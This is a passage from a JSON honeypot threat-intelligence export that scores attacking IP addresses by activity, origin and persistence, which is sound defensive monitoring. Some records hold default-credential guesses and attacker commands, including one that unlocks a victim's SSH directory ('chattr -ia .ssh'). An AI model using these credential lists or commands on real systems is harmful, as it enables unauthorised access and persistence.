      },
      "reputation_metrics": {
        "total_events_30d": 120,
        "days_active_30d": 27,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T02:48:39.011000+00:00",
        "last_seen_30d": "2026-05-31T19:27:54.065000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 68,
        "Suricata": 52
      }
    },
    "223.123.41.70": {
      "attack_count": 92,
      "first_seen": "2026-05-29T21:56:11.532Z",
      "last_seen": "2026-05-30T10:57:53.303Z",
      "sessions": 46,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Islamabad",
      "asn": 138423,
      "as_org": "CMPak Limited",
      "threat_score": 52.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.6,
        "persistence": 14.2,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 143,
        "days_active_30d": 17,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-14T06:01:23+00:00",
        "last_seen_30d": "2026-05-30T10:58:58.084000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 92,
        "Suricata": 50,
        "Honeytrap": 1
      }
    },
    "1.34.107.219": {
      "attack_count": 88,
      "first_seen": "2026-05-18T22:06:14.018Z",
      "last_seen": "2026-05-20T18:22:21.559Z",
      "sessions": 44,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taoyuan",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 22.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.2,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 132,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T22:06:14.018000+00:00",
        "last_seen_30d": "2026-05-20T18:23:31.408000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 88,
        "Suricata": 44
      }
    },
    "148.135.49.242": {
      "attack_count": 84,
      "first_seen": "2026-05-05T00:21:15.125Z",
      "last_seen": "2026-05-19T04:40:58.695Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 35916,
      "as_org": "MULTACOM CORPORATION",
      "threat_score": 26.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.9,
        "persistence": 12.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 98,
        "days_active_30d": 15,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T00:21:15.125000+00:00",
        "last_seen_30d": "2026-05-19T04:42:05.571000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 56,
        "Suricata": 42
      }
    },
    "23.95.20.168": {
      "attack_count": 78,
      "first_seen": "2026-05-10T22:28:06.077Z",
      "last_seen": "2026-05-30T06:30:21.778Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 47.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 19.6,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 91,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T22:28:06.077000+00:00",
        "last_seen_30d": "2026-05-30T06:31:25.754000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 52,
        "Suricata": 39
      }
    },
    "35.190.195.95": {
      "attack_count": 72,
      "first_seen": "2026-05-14T04:24:42.173Z",
      "last_seen": "2026-05-14T04:25:33.560Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 7677",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "PING"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 14.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 113,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T04:24:42.173000+00:00",
        "last_seen_30d": "2026-05-14T04:26:42.613000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 72,
        "Suricata": 41
      }
    },
    "50.56.159.185": {
      "attack_count": 55,
      "first_seen": "2026-05-25T20:09:15.378Z",
      "last_seen": "2026-05-27T21:55:22.304Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "root",
        "admin",
        "root123"
      ],
      "commands_executed": [
        "hostname",
        "pwd",
        "ls -la /"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.login.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 33070,
      "as_org": "Rackspace Hosting",
      "threat_score": 29.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.0,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 80,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T20:09:15.378000+00:00",
        "last_seen_30d": "2026-05-27T21:56:28.160000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 55,
        "Suricata": 25
      }
    },
    "131.222.210.100": {
      "attack_count": 54,
      "first_seen": "2026-05-24T20:28:18.221Z",
      "last_seen": "2026-05-24T20:55:44.903Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Syria",
      "country_code": "SY",
      "city": "Damascus",
      "asn": 216472,
      "as_org": "High Speed For Internet Services L.L.C",
      "threat_score": 24.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 82,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T20:28:18.221000+00:00",
        "last_seen_30d": "2026-05-24T20:56:46.728000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 54,
        "Suricata": 28
      }
    },
    "139.135.46.88": {
      "attack_count": 50,
      "first_seen": "2026-05-19T03:13:19.379Z",
      "last_seen": "2026-05-19T03:18:43.841Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 19.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T03:13:19.379000+00:00",
        "last_seen_30d": "2026-05-19T03:19:47.487000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "175.107.211.177": {
      "attack_count": 50,
      "first_seen": "2026-05-04T12:29:49.919Z",
      "last_seen": "2026-05-04T12:35:14.228Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 3.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T12:29:49.919000+00:00",
        "last_seen_30d": "2026-05-04T12:36:22.320000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "66.167.169.130": {
      "attack_count": 50,
      "first_seen": "2026-05-13T04:46:38.100Z",
      "last_seen": "2026-05-13T04:52:02.661Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 12.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T04:46:38.100000+00:00",
        "last_seen_30d": "2026-05-13T04:53:04.626000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "42.239.113.180": {
      "attack_count": 48,
      "first_seen": "2026-05-21T15:37:38.719Z",
      "last_seen": "2026-05-21T15:42:51.156Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 21.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 73,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T15:37:38.719000+00:00",
        "last_seen_30d": "2026-05-21T15:43:53.296000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 25
      }
    },
    "204.77.9.130": {
      "attack_count": 42,
      "first_seen": "2026-05-05T00:12:19.843Z",
      "last_seen": "2026-05-11T01:03:14.730Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Las Vegas",
      "asn": 397373,
      "as_org": "H4Y Technologies LLC",
      "threat_score": 11.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.9,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 49,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T00:12:19.843000+00:00",
        "last_seen_30d": "2026-05-11T01:04:19.774000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 21
      }
    },
    "206.135.174.232": {
      "attack_count": 42,
      "first_seen": "2026-05-30T03:55:01.655Z",
      "last_seen": "2026-05-30T03:59:34.104Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Sialkot",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 29.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 64,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T03:55:01.655000+00:00",
        "last_seen_30d": "2026-05-30T04:00:35.261000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 42,
        "Suricata": 22
      }
    },
    "130.12.180.27": {
      "attack_count": 35,
      "first_seen": "2026-05-06T08:50:08.700Z",
      "last_seen": "2026-05-06T08:50:33.988Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "",
        "user"
      ],
      "passwords_attempted": [
        "",
        "admin",
        "password",
        "root"
      ],
      "commands_executed": [
        "echo SHELL_TEST"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 202412,
      "as_org": "Omegatech LTD",
      "threat_score": 5.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 50,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T08:50:08.700000+00:00",
        "last_seen_30d": "2026-05-06T08:51:43.142000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 35,
        "Suricata": 15
      }
    },
    "183.3.145.186": {
      "attack_count": 32,
      "first_seen": "2026-05-18T22:53:54.509Z",
      "last_seen": "2026-05-19T01:04:19.295Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 18.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 48,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T22:53:54.509000+00:00",
        "last_seen_30d": "2026-05-19T01:15:07.924000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 32,
        "Suricata": 16
      }
    },
    "196.249.207.216": {
      "attack_count": 30,
      "first_seen": "2026-05-19T15:12:24.107Z",
      "last_seen": "2026-05-19T17:41:42.982Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Angola",
      "country_code": "AO",
      "city": "Luanda",
      "asn": 17400,
      "as_org": "MSTelcom",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 45,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T15:12:24.107000+00:00",
        "last_seen_30d": "2026-05-19T17:42:52.397000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 15
      }
    },
    "221.1.226.5": {
      "attack_count": 30,
      "first_seen": "2026-05-05T20:22:18.489Z",
      "last_seen": "2026-05-05T20:25:32.863Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 3.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 46,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T20:22:18.489000+00:00",
        "last_seen_30d": "2026-05-05T20:26:41.384000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 16
      }
    },
    "14.1.105.113": {
      "attack_count": 28,
      "first_seen": "2026-05-13T20:07:28.802Z",
      "last_seen": "2026-05-13T20:10:30.152Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 43,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T20:07:28.802000+00:00",
        "last_seen_30d": "2026-05-13T20:11:35.154000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 15
      }
    },
    "107.189.3.72": {
      "attack_count": 24,
      "first_seen": "2026-05-21T21:21:31.545Z",
      "last_seen": "2026-05-30T05:01:50.398Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Luxembourg",
      "country_code": "LU",
      "city": "Luxembourg",
      "asn": 53667,
      "as_org": "FranTech Solutions",
      "threat_score": 33.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.5,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T21:21:31.545000+00:00",
        "last_seen_30d": "2026-05-30T05:02:50.679000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 12
      }
    },
    "148.135.45.163": {
      "attack_count": 24,
      "first_seen": "2026-05-12T03:13:35.958Z",
      "last_seen": "2026-05-19T01:32:01.525Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 35916,
      "as_org": "MULTACOM CORPORATION",
      "threat_score": 20.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.6,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 29,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T03:13:35.958000+00:00",
        "last_seen_30d": "2026-05-19T01:33:01.734000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 13
      }
    },
    "95.174.71.177": {
      "attack_count": 24,
      "first_seen": "2026-05-11T09:20:44.030Z",
      "last_seen": "2026-05-13T11:22:16.112Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 8849,
      "as_org": "Melbikomas UAB",
      "threat_score": 11.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.5,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T09:20:44.030000+00:00",
        "last_seen_30d": "2026-05-13T11:23:22.540000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 12
      }
    },
    "152.32.207.42": {
      "attack_count": 23,
      "first_seen": "2026-05-20T13:47:52.605Z",
      "last_seen": "2026-05-20T13:50:02.103Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "",
        "Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6",
        "GET / HTTP/1.1",
        "b'\\x05\\x04\\x00\\x01\\x02\\x80\\x05\\x01\\x00\\x03'"
      ],
      "passwords_attempted": [
        "",
        "Host: 172.105.186.117:23",
        "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0",
        "github.com\u0000PGET / HTTP/1.0"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Reston",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 26.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.1,
        "persistence": 11.7,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 41,
        "days_active_30d": 14,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T00:49:22.858000+00:00",
        "last_seen_30d": "2026-05-20T13:51:06.582000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 23,
        "Suricata": 18
      }
    },
    "43.156.40.88": {
      "attack_count": 23,
      "first_seen": "2026-05-20T04:29:15.282Z",
      "last_seen": "2026-05-20T04:29:19.013Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "claude",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "claude"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 17.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T04:29:15.282000+00:00",
        "last_seen_30d": "2026-05-20T04:30:26.544000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 23,
        "Suricata": 7
      }
    },
    "144.31.147.243": {
      "attack_count": 20,
      "first_seen": "2026-05-20T08:03:17.334Z",
      "last_seen": "2026-05-20T08:14:43.305Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "P",
        "admin",
        "orangepi",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 215439,
      "as_org": "Play2go International Limited",
      "threat_score": 27.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.1,
        "persistence": 1.7,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 128,
        "days_active_30d": 2,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-20T08:03:17.334000+00:00",
        "last_seen_30d": "2026-05-21T09:45:24.964000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Suricata": 64,
        "Tanner": 44,
        "Cowrie": 20
      }
    },
    "201.121.27.10": {
      "attack_count": 20,
      "first_seen": "2026-05-30T02:24:18.048Z",
      "last_seen": "2026-05-30T02:37:17.651Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Tec\u00e1mac",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 26.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T02:24:18.048000+00:00",
        "last_seen_30d": "2026-05-30T02:48:13.751000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 11
      }
    },
    "180.100.217.164": {
      "attack_count": 14,
      "first_seen": "2026-05-08T05:33:40.428Z",
      "last_seen": "2026-05-08T06:10:12.756Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "etluser",
        "oracle"
      ],
      "passwords_attempted": [
        "123321",
        "123456"
      ],
      "commands_executed": [],
      "event_types": [
